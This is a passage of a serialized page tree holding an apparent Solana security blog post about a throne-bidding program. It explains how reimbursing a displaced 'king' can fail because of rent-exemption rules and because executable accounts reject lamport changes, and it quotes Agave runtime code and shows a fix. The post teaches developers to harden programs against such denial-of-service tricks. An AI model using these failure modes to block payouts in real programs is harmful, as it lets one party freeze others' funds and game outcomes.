RentState",{"type":24,"tag":90,"props":74508,"children":74509},{"style":120},[74510],{"type":29,"value":1211},{"type":24,"tag":90,"props":74512,"children":74513},{"style":146},[74514],{"type":29,"value":74191},{"type":24,"tag":90,"props":74516,"children":74517},{"style":120},[74518],{"type":29,"value":6656},{"type":24,"tag":90,"props":74520,"children":74521},{"style":146},[74522],{"type":29,"value":74383},{"type":24,"tag":90,"props":74524,"children":74525},{"style":120},[74526],{"type":29,"value":1211},{"type":24,"tag":90,"props":74528,"children":74529},{"style":146},[74530],{"type":29,"value":74392},{"type":24,"tag":90,"props":74532,"children":74533},{"style":120},[74534],{"type":29,"value":29562},{"type":24,"tag":90,"props":74536,"children":74537},{"style":97},[74538],{"type":29,"value":11431},{"type":24,"tag":90,"props":74540,"children":74541},{"style":114},[74542],{"type":29,"value":748},{"type":24,"tag":90,"props":74544,"children":74545},{"class":92,"line":428},[74546,74550,74554,74558],{"type":24,"tag":90,"props":74547,"children":74548},{"style":146},[74549],{"type":29,"value":74506},{"type":24,"tag":90,"props":74551,"children":74552},{"style":120},[74553],{"type":29,"value":1211},{"type":24,"tag":90,"props":74555,"children":74556},{"style":146},[74557],{"type":29,"value":74420},{"type":24,"tag":90,"props":74559,"children":74560},{"style":114},[74561],{"type":29,"value":269},{"type":24,"tag":90,"props":74563,"children":74564},{"class":92,"line":437},[74565,74570,74574,74579],{"type":24,"tag":90,"props":74566,"children":74567},{"style":136},[74568],{"type":29,"value":74569}," data_size",{"type":24,"tag":90,"props":74571,"children":74572},{"style":120},[74573],{"type":29,"value":78},{"type":24,"tag":90,"props":74575,"children":74576},{"style":136},[74577],{"type":29,"value":74578}," pre_data_size",{"type":24,"tag":90,"props":74580,"children":74581},{"style":114},[74582],{"type":29,"value":748},{"type":24,"tag":90,"props":74584,"children":74585},{"class":92,"line":574},[74586,74591,74595,74600],{"type":24,"tag":90,"props":74587,"children":74588},{"style":136},[74589],{"type":29,"value":74590}," lamports",{"type":24,"tag":90,"props":74592,"children":74593},{"style":120},[74594],{"type":29,"value":78},{"type":24,"tag":90,"props":74596,"children":74597},{"style":136},[74598],{"type":29,"value":74599}," pre_lamports",{"type":24,"tag":90,"props":74601,"children":74602},{"style":114},[74603],{"type":29,"value":748},{"type":24,"tag":90,"props":74605,"children":74606},{"class":92,"line":606},[74607,74612,74616],{"type":24,"tag":90,"props":74608,"children":74609},{"style":114},[74610],{"type":29,"value":74611}," } ",{"type":24,"tag":90,"props":74613,"children":74614},{"style":120},[74615],{"type":29,"value":1315},{"type":24,"tag":90,"props":74617,"children":74618},{"style":114},[74619],{"type":29,"value":269},{"type":24,"tag":90,"props":74621,"children":74622},{"class":92,"line":615},[74623],{"type":24,"tag":90,"props":74624,"children":74625},{"style":252},[74626],{"type":29,"value":74627}," // Cannot remain RentPaying if resized or credited.\n",{"type":24,"tag":90,"props":74629,"children":74630},{"class":92,"line":623},[74631,74636,74640,74644,74648,74652,74656],{"type":24,"tag":90,"props":74632,"children":74633},{"style":136},[74634],{"type":29,"value":74635}," post_data_size",{"type":24,"tag":90,"props":74637,"children":74638},{"style":120},[74639],{"type":29,"value":2102},{"type":24,"tag":90,"props":74641,"children":74642},{"style":136},[74643],{"type":29,"value":74578},{"type":24,"tag":90,"props":74645,"children":74646},{"style":120},[74647],{"type":29,"value":649},{"type":24,"tag":90,"props":74649,"children":74650},{"style":136},[74651],{"type":29,"value":74462},{"type":24,"tag":90,"props":74653,"children":74654},{"style":120},[74655],{"type":29,"value":10574},{"type":24,"tag":90,"props":74657,"children":74658},{"style":136},[74659],{"type":29,"value":74660}," pre_lamports\n",{"type":24,"tag":90,"props":74662,"children":74663},{"class":92,"line":632},[74664],{"type":24,"tag":90,"props":74665,"children":74666},{"style":114},[74667],{"type":29,"value":72891},{"type":24,"tag":90,"props":74669,"children":74670},{"class":92,"line":669},[74671],{"type":24,"tag":90,"props":74672,"children":74673},{"style":114},[74674],{"type":29,"value":72899},{"type":24,"tag":90,"props":74676,"children":74677},{"class":92,"line":683},[74678],{"type":24,"tag":90,"props":74679,"children":74680},{"style":114},[74681],{"type":29,"value":60710},{"type":24,"tag":90,"props":74683,"children":74684},{"class":92,"line":737},[74685],{"type":24,"tag":90,"props":74686,"children":74687},{"style":114},[74688],{"type":29,"value":5740},{"type":24,"tag":90,"props":74690,"children":74691},{"class":92,"line":751},[74692],{"type":24,"tag":90,"props":74693,"children":74694},{"style":114},[74695],{"type":29,"value":612},{"type":24,"tag":25,"props":74697,"children":74698},{},[74699],{"type":29,"value":74700},"You can check the rent-exemption threshold for a zero-data account with the CLI:",{"type":24,"tag":80,"props":74702,"children":74704},{"className":6630,"code":74703,"language":6629,"meta":7,"style":7},"solana rent 0\nRent-exempt minimum: 0.00089088 SOL\n",[74705],{"type":24,"tag":32,"props":74706,"children":74707},{"__ignoreMap":7},[74708,74724],{"type":24,"tag":90,"props":74709,"children":74710},{"class":92,"line":93},[74711,74715,74720],{"type":24,"tag":90,"props":74712,"children":74713},{"style":108},[74714],{"type":29,"value":5287},{"type":24,"tag":90,"props":74716,"children":74717},{"style":1085},[74718],{"type":29,"value":74719}," rent",{"type":24,"tag":90,"props":74721,"children":74722},{"style":349},[74723],{"type":29,"value":26087},{"type":24,"tag":90,"props":74725,"children":74726},{"class":92,"line":200},[74727,74732,74737,74742],{"type":24,"tag":90,"props":74728,"children":74729},{"style":108},[74730],{"type":29,"value":74731},"Rent-exempt",{"type":24,"tag":90,"props":74733,"children":74734},{"style":1085},[74735],{"type":29,"value":74736}," minimum:",{"type":24,"tag":90,"props":74738,"children":74739},{"style":349},[74740],{"type":29,"value":74741}," 0.00089088",{"type":24,"tag":90,"props":74743,"children":74744},{"style":1085},[74745],{"type":29,"value":74746}," SOL\n",{"type":24,"tag":20686,"props":74748,"children":74750},{"id":74749},"fix-1-only-reimburse-if-rent-exempt",[74751],{"type":29,"value":74752},"Fix 1: Only Reimburse if Rent-Exempt",{"type":24,"tag":25,"props":74754,"children":74755},{},[74756],{"type":29,"value":74757},"We don't want to donate anything to an unfair king! So let's update our program to reimburse only if the old king will be rent-exempt after the transfer:",{"type":24,"tag":80,"props":74759,"children":74761},{"className":42177,"code":74760,"language":42179,"meta":7,"style":7},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n+let rent = Rent::get()?;\n+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n transfer_from_pda(\n &ctx.accounts.throne.to_account_info(),\n &ctx.accounts.old_king,\n to_reimburse,\n )?;\n+}\n",[74762],{"type":24,"tag":32,"props":74763,"children":74764},{"__ignoreMap":7},[74765,74773,74781,74789,74797,74805,74813,74821,74829,74837],{"type":24,"tag":90,"props":74766,"children":74767},{"class":92,"line":93},[74768],{"type":24,"tag":90,"props":74769,"children":74770},{"style":114},[74771],{"type":29,"value":74772},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n",{"type":24,"tag":90,"props":74774,"children":74775},{"class":92,"line":200},[74776],{"type":24,"tag":90,"props":74777,"children":74778},{"style":349},[74779],{"type":29,"value":74780},"+let rent = Rent::get()?;\n",{"type":24,"tag":90,"props":74782,"children":74783},{"class":92,"line":239},[74784],{"type":24,"tag":90,"props":74785,"children":74786},{"style":349},[74787],{"type":29,"value":74788},"+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n",{"type":24,"tag":90,"props":74790,"children":74791},{"class":92,"line":248},[74792],{"type":24,"tag":90,"props":74793,"children":74794},{"style":349},[74795],{"type":29,"value":74796},"+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n",{"type":24,"tag":90,"props":74798,"children":74799},{"class":92,"line":258},[74800],{"type":24,"tag":90,"props":74801,"children":74802},{"style":114},[74803],{"type":29,"value":74804}," transfer_from_pda(\n",{"type":24,"tag":90,"props":74806,"children":74807},{"class":92,"line":272},[74808],{"type":24,"tag":90,"props":74809,"children":74810},{"style":114},[74811],{"type":29,"value":74812}," &ctx.accounts.throne.to_account_info(),\n",{"type":24,"tag":90,"props":74814,"children":74815},{"class":92,"line":281},[74816],{"type":24,"tag":90,"props":74817,"children":74818},{"style":114},[74819],{"type":29,"value":74820}," &ctx.accounts.old_king,\n",{"type":24,"tag":90,"props":74822,"children":74823},{"class":92,"line":384},[74824],{"type":24,"tag":90,"props":74825,"children":74826},{"style":114},[74827],{"type":29,"value":74828}," to_reimburse,\n",{"type":24,"tag":90,"props":74830,"children":74831},{"class":92,"line":420},[74832],{"type":24,"tag":90,"props":74833,"children":74834},{"style":114},[74835],{"type":29,"value":74836}," )?;\n",{"type":24,"tag":90,"props":74838,"children":74839},{"class":92,"line":428},[74840],{"type":24,"tag":90,"props":74841,"children":74842},{"style":349},[74843],{"type":29,"value":74844},"+}\n",{"type":24,"tag":25,"props":74846,"children":74847},{},[74848],{"type":29,"value":74849},"But is rent-exemption the only thing that can cause a lamport transfer to fail? Not quite.",{"type":24,"tag":1019,"props":74851,"children":74853},{"id":74852},"bug-2-writable-but-untouchable-set_lamports-fails",[74854,74856,74862],{"type":29,"value":74855},"Bug 2: Writable but Untouchable — ",{"type":24,"tag":32,"props":74857,"children":74859},{"className":74858},[],[74860],{"type":29,"value":74861},"set_lamports",{"type":29,"value":74863}," Fails",{"type":24,"tag":25,"props":74865,"children":74866},{},[74867,74869,74876],{"type":29,"value":74868},"Let's look at ",{"type":24,"tag":69,"props":74870,"children":74873},{"href":74871,"rel":74872},"https://github.com/anza-xyz/agave/blob/f389dd23067e37d756c3f9d2f3d50e339dad7053/transaction-context/src/lib.rs#L863-L885",[73],[74874],{"type":29,"value":74875},"BorrowedAccount::set_lamports",{"type":29,"value":226},{"type":24,"tag":80,"props":74878,"children":74880},{"className":82,"code":74879,"language":84,"meta":7,"style":7},"/// Overwrites the number of lamports of this account (transaction wide)\n#[cfg(not(target_os = \"solana\"))]\npub fn set_lamports(&mut self, lamports: u64) -> Result\u003C(), InstructionError> {\n // An account not owned by the program cannot have its balance decrease\n if !self.is_owned_by_current_program() && lamports \u003C self.get_lamports() {\n return Err(InstructionError::ExternalAccountLamportSpend);\n }\n // The balance of read-only may not change\n if !self.is_writable() {\n return Err(InstructionError::ReadonlyLamportChange);\n }\n // The balance of executable accounts may not change\n if self.is_executable_internal() {\n return Err(InstructionError::ExecutableLamportChange);\n }\n // don't touch the account if the lamports do not change\n if self.get_lamports() == lamports {\n return Ok(());\n }\n self.touch()?;\n self.account.set_lamports(lamports);\n Ok(())\n}\n\n/// Feature gating to remove `is_executable` flag related checks\n#[cfg(not(target_os = \"solana\"))]\n#[inline]\nfn is_executable_internal(&self) -> bool {\n !self\n .transaction_context\n .remove_accounts_executable_flag_checks\n && self.account.executable()\n}\n\n",[74881],{"type":24,"tag":32,"props":74882,"children":74883},{"__ignoreMap":7},[74884,74892,74913,74985,74993,75052,75084,75091,75099,75127,75159,75166,75174,75198,75230,75237,75245,75280,75296,75303,75331,75366,75377,75384,75391,75399,75418,75426,75466,75478,75490,75502,75533],{"type":24,"tag":90,"props":74885,"children":74886},{"class":92,"line":93},[74887],{"type":24,"tag":90,"props":74888,"children":74889},{"style":252},[74890],{"type":29,"value":74891},"/// Overwrites the number of lamports of this account (transaction wide)\n",{"type":24,"tag":90,"props":74893,"children":74894},{"class":92,"line":200},[74895,74900,74904,74909],{"type":24,"tag":90,"props":74896,"children":74897},{"style":114},[74898],{"type":29,"value":74899},"#[cfg(not(target_os ",{"type":24,"tag":90,"props":74901,"children":74902},{"style":120},[74903],{"type":29,"value":5491},{"type":24,"tag":90,"props":74905,"children":74906},{"style":1085},[74907],{"type":29,"value":74908}," \"solana\"",{"type":24,"tag":90,"props":74910,"children":74911},{"style":114},[74912],{"type":29,"value":22404},{"type":24,"tag":90,"props":74914,"children":74915},{"class":92,"line":239},[74916,74920,74924,74929,74933,74937,74941,74945,74949,74953,74957,74961,74965,74969,74973,74977,74981],{"type":24,"tag":90,"props":74917,"children":74918},{"style":97},[74919],{"type":29,"value":100},{"type":24,"tag":90,"props":74921,"children":74922},{"style":97},[74923],{"type":29,"value":105},{"type":24,"tag":90,"props":74925,"children":74926},{"style":108},[74927],{"type":29,"value":74928}," set_lamports",{"type":24,"tag":90,"props":74930,"children":74931},{"style":114},[74932],{"type":29,"value":117},{"type":24,"tag":90,"props":74934,"children":74935},{"style":120},[74936],{"type":29,"value":123},{"type":24,"tag":90,"props":74938,"children":74939},{"style":97},[74940],{"type":29,"value":371},{"type":24,"tag":90,"props":74942,"children":74943},{"style":97},[74944],{"type":29,"value":221},{"type":24,"tag":90,"props":74946,"children":74947},{"style":114},[74948],{"type":29,"value":133},{"type":24,"tag":90,"props":74950,"children":74951},{"style":136},[74952],{"type":29,"value":2016},{"type":24,"tag":90,"props":74954,"children":74955},{"style":120},[74956],{"type":29,"value":78},{"type":24,"tag":90,"props":74958,"children":74959},{"style":146},[74960],{"type":29,"value":376},{"type":24,"tag":90,"props":74962,"children":74963},{"style":114},[74964],{"type":29,"value":172},{"type":24,"tag":90,"props":74966,"children":74967},{"style":120},[74968],{"type":29,"value":177},{"type":24,"tag":90,"props":74970,"children":74971},{"style":146},[74972],{"type":29,"value":182},{"type":24,"tag":90,"props":74974,"children":74975},{"style":114},[74976],{"type":29,"value":187},{"type":24,"tag":90,"props":74978,"children":74979},{"style":146},[74980],{"type":29,"value":2267},{"type":24,"tag":90,"props":74982,"children":74983},{"style":114},[74984],{"type":29,"value":197},{"type":24,"tag":90,"props":74986,"children":74987},{"class":92,"line":248},[74988],{"type":24,"tag":90,"props":74989,"children":74990},{"style":252},[74991],{"type":29,"value":74992}," // An account not owned by the program cannot have its balance decrease\n",{"type":24,"tag":90,"props":74994,"children":74995},{"class":92,"line":258},[74996,75000,75004,75008,75012,75017,75021,75026,75031,75035,75039,75043,75048],{"type":24,"tag":90,"props":74997,"children":74998},{"style":636},[74999],{"type":29,"value":639},{"type":24,"tag":90,"props":75001,"children":75002},{"style":120},[75003],{"type":29,"value":2089},{"type":24,"tag":90,"props":75005,"children":75006},{"style":97},[75007],{"type":29,"value":128},{"type":24,"tag":90,"props":75009,"children":75010},{"style":120},[75011],{"type":29,"value":226},{"type":24,"tag":90,"props":75013,"children":75014},{"style":108},[75015],{"type":29,"value":75016},"is_owned_by_current_program",{"type":24,"tag":90,"props":75018,"children":75019},{"style":114},[75020],{"type":29,"value":495},{"type":24,"tag":90,"props":75022,"children":75023},{"style":120},[75024],{"type":29,"value":75025},"&&",{"type":24,"tag":90,"props":75027,"children":75028},{"style":136},[75029],{"type":29,"value":75030}," lamports",{"type":24,"tag":90,"props":75032,"children":75033},{"style":120},[75034],{"type":29,"value":11095},{"type":24,"tag":90,"props":75036,"children":75037},{"style":97},[75038],{"type":29,"value":221},{"type":24,"tag":90,"props":75040,"children":75041},{"style":120},[75042],{"type":29,"value":226},{"type":24,"tag":90,"props":75044,"children":75045},{"style":108},[75046],{"type":29,"value":75047},"get_lamports",{"type":24,"tag":90,"props":75049,"children":75050},{"style":114},[75051],{"type":29,"value":2245},{"type":24,"tag":90,"props":75053,"children":75054},{"class":92,"line":272},[75055,75059,75063,75067,75071,75075,75080],{"type":24,"tag":90,"props":75056,"children":75057},{"style":636},[75058],{"type":29,"value":2253},{"type":24,"tag":90,"props":75060,"children":75061},{"style":146},[75062],{"type":29,"value":2258},{"type":24,"tag":90,"props":75064,"children":75065},{"style":114},[75066],{"type":29,"value":117},{"type":24,"tag":90,"props":75068,"children":75069},{"style":146},[75070],{"type":29,"value":2267},{"type":24,"tag":90,"props":75072,"children":75073},{"style":120},[75074],{"type":29,"value":1211},{"type":24,"tag":90,"props":75076,"children":75077},{"style":146},[75078],{"type":29,"value":75079},"ExternalAccountLamportSpend",{"type":24,"tag":90,"props":75081,"children":75082},{"style":114},[75083],{"type":29,"value":571},{"type":24,"tag":90,"props":75085,"children":75086},{"class":92,"line":281},[75087],{"type":24,"tag":90,"props":75088,"children":75089},{"style":114},[75090],{"type":29,"value":612},{"type":24,"tag":90,"props":75092,"children":75093},{"class":92,"line":384},[75094],{"type":24,"tag":90,"props":75095,"children":75096},{"style":252},[75097],{"type":29,"value":75098}," // The balance of read-only may not change\n",{"type":24,"tag":90,"props":75100,"children":75101},{"class":92,"line":420},[75102,75106,75110,75114,75118,75123],{"type":24,"tag":90,"props":75103,"children":75104},{"style":636},[75105],{"type":29,"value":639},{"type":24,"tag":90,"props":75107,"children":75108},{"style":120},[75109],{"type":29,"value":2089},{"type":24,"tag":90,"props":75111,"children":75112},{"style":97},[75113],{"type":29,"value":128},{"type":24,"tag":90,"props":75115,"children":75116},{"style":120},[75117],{"type":29,"value":226},{"type":24,"tag":90,"props":75119,"children":75120},{"style":108},[75121],{"type":29,"value":75122},"is_writable",{"type":24,"tag":90,"props":75124,"children":75125},{"style":114},[75126],{"type":29,"value":2245},{"type":24,"tag":90,"props":75128,"children":75129},{"class":92,"line":428},[75130,75134,75138,75142,75146,75150,75155],{"type":24,"tag":90,"props":75131,"children":75132},{"style":636},[75133],{"type":29,"value":2253},{"type":24,"tag":90,"props":75135,"children":75136},{"style":146},[75137],{"type":29,"value":2258},{"type":24,"tag":90,"props":75139,"children":75140},{"style":114},[75141],{"type":29,"value":117},{"type":24,"tag":90,"props":75143,"children":75144},{"style":146},[75145],{"type":29,"value":2267},{"type":24,"tag":90,"props":75147,"children":75148},{"style":120},[75149],{"type":29,"value":1211},{"type":24,"tag":90,"props":75151,"children":75152},{"style":146},[75153],{"type":29,"value":75154},"ReadonlyLamportChange",{"type":24,"tag":90,"props":75156,"children":75157},{"style":114},[75158],{"type":29,"value":571},{"type":24,"tag":90,"props":75160,"children":75161},{"class":92,"line":437},[75162],{"type":24,"tag":90,"props":75163,"children":75164},{"style":114},[75165],{"type":29,"value":612},{"type":24,"tag":90,"props":75167,"children":75168},{"class":92,"line":574},[75169],{"type":24,"tag":90,"props":75170,"children":75171},{"style":252},[75172],{"type":29,"value":75173}," // The balance of executable accounts may not change\n",{"type":24,"tag":90,"props":75175,"children":75176},{"class":92,"line":606},[75177,75181,75185,75189,75194],{"type":24,"tag":90,"props":75178,"children":75179},{"style":636},[75180],{"type":29,"value":639},{"type":24,"tag":90,"props":75182,"children":75183},{"style":97},[75184],{"type":29,"value":221},{"type":24,"tag":90,"props":75186,"children":75187},{"style":120},[75188],{"type":29,"value":226},{"type":24,"tag":90,"props":75190,"children":75191},{"style":108},[75192],{"type":29,"value":75193},"is_executable_internal",{"type":24,"tag":90,"props":75195,"children":75196},{"style":114},[75197],{"type":29,"value":2245},{"type":24,"tag":90,"props":75199,"children":75200},{"class":92,"line":615},[75201,75205,75209,75213,75217,75221,75226],{"type":24,"tag":90,"props":75202,"children":75203},{"style":636},[75204],{"type":29,"value":2253},{"type":24,"tag":90,"props":75206,"children":75207},{"style":146},[75208],{"type":29,"value":2258},{"type":24,"tag":90,"props":75210,"children":75211},{"style":114},[75212],{"type":29,"value":117},{"type":24,"tag":90,"props":75214,"children":75215},{"style":146},[75216],{"type":29,"value":2267},{"type":24,"tag":90,"props":75218,"children":75219},{"style":120},[75220],{"type":29,"value":1211},{"type":24,"tag":90,"props":75222,"children":75223},{"style":146},[75224],{"type":29,"value":75225},"ExecutableLamportChange",{"type":24,"tag":90,"props":75227,"children":75228},{"style":114},[75229],{"type":29,"value":571},{"type":24,"tag":90,"props":75231,"children":75232},{"class":92,"line":623},[75233],{"type":24,"tag":90,"props":75234,"children":75235},{"style":114},[75236],{"type":29,"value":612},{"type":24,"tag":90,"props":75238,"children":75239},{"class":92,"line":632},[75240],{"type":24,"tag":90,"props":75241,"children":75242},{"style":252},[75243],{"type":29,"value":75244}," // don't touch the account if the lamports do not change\n",{"type":24,"tag":90,"props":75246,"children":75247},{"class":92,"line":669},[75248,75252,75256,75260,75264,75268,75272,75276],{"type":24,"tag":90,"props":75249,"children":75250},{"style":636},[75251],{"type":29,"value":639},{"type":24,"tag":90,"props":75253,"children":75254},{"style":97},[75255],{"type":29,"value":221},{"type":24,"tag":90,"props":75257,"children":75258},{"style":120},[75259],{"type":29,"value":226},{"type":24,"tag":90,"props":75261,"children":75262},{"style":108},[75263],{"type":29,"value":75047},{"type":24,"tag":90,"props":75265,"children":75266},{"style":114},[75267],{"type":29,"value":495},{"type":24,"tag":90,"props":75269,"children":75270},{"style":120},[75271],{"type":29,"value":10951},{"type":24,"tag":90,"props":75273,"children":75274},{"style":136},[75275],{"type":29,"value":75030},{"type":24,"tag":90,"props":75277,"children":75278},{"style":114},[75279],{"type":29,"value":269},{"type":24,"tag":90,"props":75281,"children":75282},{"class":92,"line":683},[75283,75287,75291],{"type":24,"tag":90,"props":75284,"children":75285},{"style":636},[75286],{"type":29,"value":2253},{"type":24,"tag":90,"props":75288,"children":75289},{"style":146},[75290],{"type":29,"value":44755},{"type":24,"tag":90,"props":75292,"children":75293},{"style":114},[75294],{"type":29,"value":75295},"(());\n",{"type":24,"tag":90,"props":75297,"children":75298},{"class":92,"line":737},[75299],{"type":24,"tag":90,"props":75300,"children":75301},{"style":114},[75302],{"type":29,"value":612},{"type":24,"tag":90,"props":75304,"children":75305},{"class":92,"line":751},[75306,75310,75314,75319,75323,75327],{"type":24,"tag":90,"props":75307,"children":75308},{"style":97},[75309],{"type":29,"value":22582},{"type":24,"tag":90,"props":75311,"children":75312},{"style":120},[75313],{"type":29,"value":226},{"type":24,"tag":90,"props":75315,"children":75316},{"style":108},[75317],{"type":29,"value":75318},"touch",{"type":24,"tag":90,"props":75320,"children":75321},{"style":114},[75322],{"type":29,"value":314},{"type":24,"tag":90,"props":75324,"children":75325},{"style":120},[75326],{"type":29,"value":714},{"type":24,"tag":90,"props":75328,"children":75329},{"style":114},[75330],{"type":29,"value":381},{"type":24,"tag":90,"props":75332,"children":75333},{"class":92,"line":782},[75334,75338,75342,75346,75350,75354,75358,75362],{"type":24,"tag":90,"props":75335,"children":75336},{"style":97},[75337],{"type":29,"value":22582},{"type":24,"tag":90,"props":75339,"children":75340},{"style":120},[75341],{"type":29,"value":226},{"type":24,"tag":90,"props":75343,"children":75344},{"style":114},[75345],{"type":29,"value":15318},{"type":24,"tag":90,"props":75347,"children":75348},{"style":120},[75349],{"type":29,"value":226},{"type":24,"tag":90,"props":75351,"children":75352},{"style":108},[75353],{"type":29,"value":74861},{"type":24,"tag":90,"props":75355,"children":75356},{"style":114},[75357],{"type":29,"value":117},{"type":24,"tag":90,"props":75359,"children":75360},{"style":136},[75361],{"type":29,"value":2016},{"type":24,"tag":90,"props":75363,"children":75364},{"style":114},[75365],{"type":29,"value":571},{"type":24,"tag":90,"props":75367,"children":75368},{"class":92,"line":791},[75369,75373],{"type":24,"tag":90,"props":75370,"children":75371},{"style":146},[75372],{"type":29,"value":813},{"type":24,"tag":90,"props":75374,"children":75375},{"style":114},[75376],{"type":29,"value":818},{"type":24,"tag":90,"props":75378,"children":75379},{"class":92,"line":799},[75380],{"type":24,"tag":90,"props":75381,"children":75382},{"style":114},[75383],{"type":29,"value":827},{"type":24,"tag":90,"props":75385,"children":75386},{"class":92,"line":807},[75387],{"type":24,"tag":90,"props":75388,"children":75389},{"emptyLinePlaceholder":16},[75390],{"type":29,"value":245},{"type":24,"tag":90,"props":75392,"children":75393},{"class":92,"line":821},[75394],{"type":24,"tag":90,"props":75395,"children":75396},{"style":252},[75397],{"type":29,"value":75398},"/// Feature gating to remove `is_executable` flag related checks\n",{"type":24,"tag":90,"props":75400,"children":75401},{"class":92,"line":6278},[75402,75406,75410,75414],{"type":24,"tag":90,"props":75403,"children":75404},{"style":114},[75405],{"type":29,"value":74899},{"type":24,"tag":90,"props":75407,"children":75408},{"style":120},[75409],{"type":29,"value":5491},{"type":24,"tag":90,"props":75411,"children":75412},{"style":1085},[75413],{"type":29,"value":74908},{"type":24,"tag":90,"props":75415,"children":75416},{"style":114},[75417],{"type":29,"value":22404},{"type":24,"tag":90,"props":75419,"children":75420},{"class":92,"line":11420},[75421],{"type":24,"tag":90,"props":75422,"children":75423},{"style":114},[75424],{"type":29,"value":75425},"#[inline]\n",{"type":24,"tag":90,"props":75427,"children":75428},{"class":92,"line":11438},[75429,75433,75438,75442,75446,75450,75454,75458,75462],{"type":24,"tag":90,"props":75430,"children":75431},{"style":97},[75432],{"type":29,"value":22062},{"type":24,"tag":90,"props":75434,"children":75435},{"style":108},[75436],{"type":29,"value":75437}," is_executable_internal",{"type":24,"tag":90,"props":75439,"children":75440},{"style":114},[75441],{"type":29,"value":117},{"type":24,"tag":90,"props":75443,"children":75444},{"style":120},[75445],{"type":29,"value":123},{"type":24,"tag":90,"props":75447,"children":75448},{"style":97},[75449],{"type":29,"value":128},{"type":24,"tag":90,"props":75451,"children":75452},{"style":114},[75453],{"type":29,"value":172},{"type":24,"tag":90,"props":75455,"children":75456},{"style":120},[75457],{"type":29,"value":177},{"type":24,"tag":90,"props":75459,"children":75460},{"style":146},[75461],{"type":29,"value":167},{"type":24,"tag":90,"props":75463,"children":75464},{"style":114},[75465],{"type":29,"value":269},{"type":24,"tag":90,"props":75467,"children":75468},{"class":92,"line":11483},[75469,75473],{"type":24,"tag":90,"props":75470,"children":75471},{"style":120},[75472],{"type":29,"value":22766},{"type":24,"tag":90,"props":75474,"children":75475},{"style":97},[75476],{"type":29,"value":75477},"self\n",{"type":24,"tag":90,"props":75479,"children":75480},{"class":92,"line":11589},[75481,75485],{"type":24,"tag":90,"props":75482,"children":75483},{"style":120},[75484],{"type":29,"value":70087},{"type":24,"tag":90,"props":75486,"children":75487},{"style":114},[75488],{"type":29,"value":75489},"transaction_context\n",{"type":24,"tag":90,"props":75491,"children":75492},{"class":92,"line":25306},[75493,75497],{"type":24,"tag":90,"props":75494,"children":75495},{"style":120},[75496],{"type":29,"value":70087},{"type":24,"tag":90,"props":75498,"children":75499},{"style":114},[75500],{"type":29,"value":75501},"remove_accounts_executable_flag_checks\n",{"type":24,"tag":90,"props":75503,"children":75504},{"class":92,"line":25341},[75505,75509,75513,75517,75521,75525,75529],{"type":24,"tag":90,"props":75506,"children":75507},{"style":120},[75508],{"type":29,"value":44619},{"type":24,"tag":90,"props":75510,"children":75511},{"style":97},[75512],{"type":29,"value":221},{"type":24,"tag":90,"props":75514,"children":75515},{"style":120},[75516],{"type":29,"value":226},{"type":24,"tag":90,"props":75518,"children":75519},{"style":114},[75520],{"type":29,"value":15318},{"type":24,"tag":90,"props":75522,"children":75523},{"style":120},[75524],{"type":29,"value":226},{"type":24,"tag":90,"props":75526,"children":75527},{"style":108},[75528],{"type":29,"value":2163},{"type":24,"tag":90,"props":75530,"children":75531},{"style":114},[75532],{"type":29,"value":2121},{"type":24,"tag":90,"props":75534,"children":75535},{"class":92,"line":25349},[75536],{"type":24,"tag":90,"props":75537,"children":75538},{"style":114},[75539],{"type":29,"value":827},{"type":24,"tag":25,"props":75541,"children":75542},{},[75543],{"type":29,"value":75544},"Turns out: even writable, rent-exempt accounts can still reject lamport transfers.",{"type":24,"tag":25,"props":75546,"children":75547},{},[75548,75550,75555],{"type":29,"value":75549},"Specifically, ",{"type":24,"tag":7711,"props":75551,"children":75552},{},[75553],{"type":29,"value":75554},"executable accounts",{"type":29,"value":75556}," cannot receive or send lamports — the runtime treats them as immutable.",{"type":24,"tag":20686,"props":75558,"children":75560},{"id":75559},"sidebar-whats-the-executable-flag-anyway",[75561],{"type":29,"value":75562},"Sidebar: What's the executable Flag Anyway?",{"type":24,"tag":25,"props":75564,"children":75565},{},[75566,75567,75572],{"type":29,"value":3131},{"type":24,"tag":32,"props":75568,"children":75570},{"className":75569},[],[75571],{"type":29,"value":2163},{"type":29,"value":75573}," flag is a legacy mechanism marking accounts that hold program code. Historically, an account with this flag was assumed to either contain immutable BPF bytecode or was a proxy to a built-in program, and therefore it made sense to consider it read-only for performance reasons.",{"type":24,"tag":25,"props":75575,"children":75576},{},[75577,75579,75584],{"type":29,"value":75578},"This behavior became problematic with the introduction of the ",{"type":24,"tag":7711,"props":75580,"children":75581},{},[75582],{"type":29,"value":75583},"Upgradeable BPF Loader",{"type":29,"value":75585},". A workaround was used to maintain compatibility with the existing runtime logic. The program data containing bpf bytecode was split into a separate account, ProgramData, with the program account now only containing an address pointing to the ProgramData account:",{"type":24,"tag":80,"props":75587,"children":75589},{"className":82,"code":75588,"language":84,"meta":7,"style":7},"Program {\n /// Address of the ProgramData account.\n programdata_address: Pubkey,\n},\nProgramData {\n /// Slot that the program was last modified.\n slot: u64,\n /// Address of the Program's upgrade authority.\n upgrade_authority_address: Option\u003CPubkey>,\n // The raw program data follows this serialized structure in the\n // account's data.\n},\n",[75590],{"type":24,"tag":32,"props":75591,"children":75592},{"__ignoreMap":7},[75593,75605,75613,75633,75641,75653,75661,75681,75689,75717,75725,75733],{"type":24,"tag":90,"props":75594,"children":75595},{"class":92,"line":93},[75596,75601],{"type":24,"tag":90,"props":75597,"children":75598},{"style":146},[75599],{"type":29,"value":75600},"Program",{"type":24,"tag":90,"props":75602,"children":75603},{"style":114},[75604],{"type":29,"value":269},{"type":24,"tag":90,"props":75606,"children":75607},{"class":92,"line":200},[75608],{"type":24,"tag":90,"props":75609,"children":75610},{"style":252},[75611],{"type":29,"value":75612}," /// Address of the ProgramData account.\n",{"type":24,"tag":90,"props":75614,"children":75615},{"class":92,"line":239},[75616,75621,75625,75629],{"type":24,"tag":90,"props":75617,"children":75618},{"style":136},[75619],{"type":29,"value":75620}," 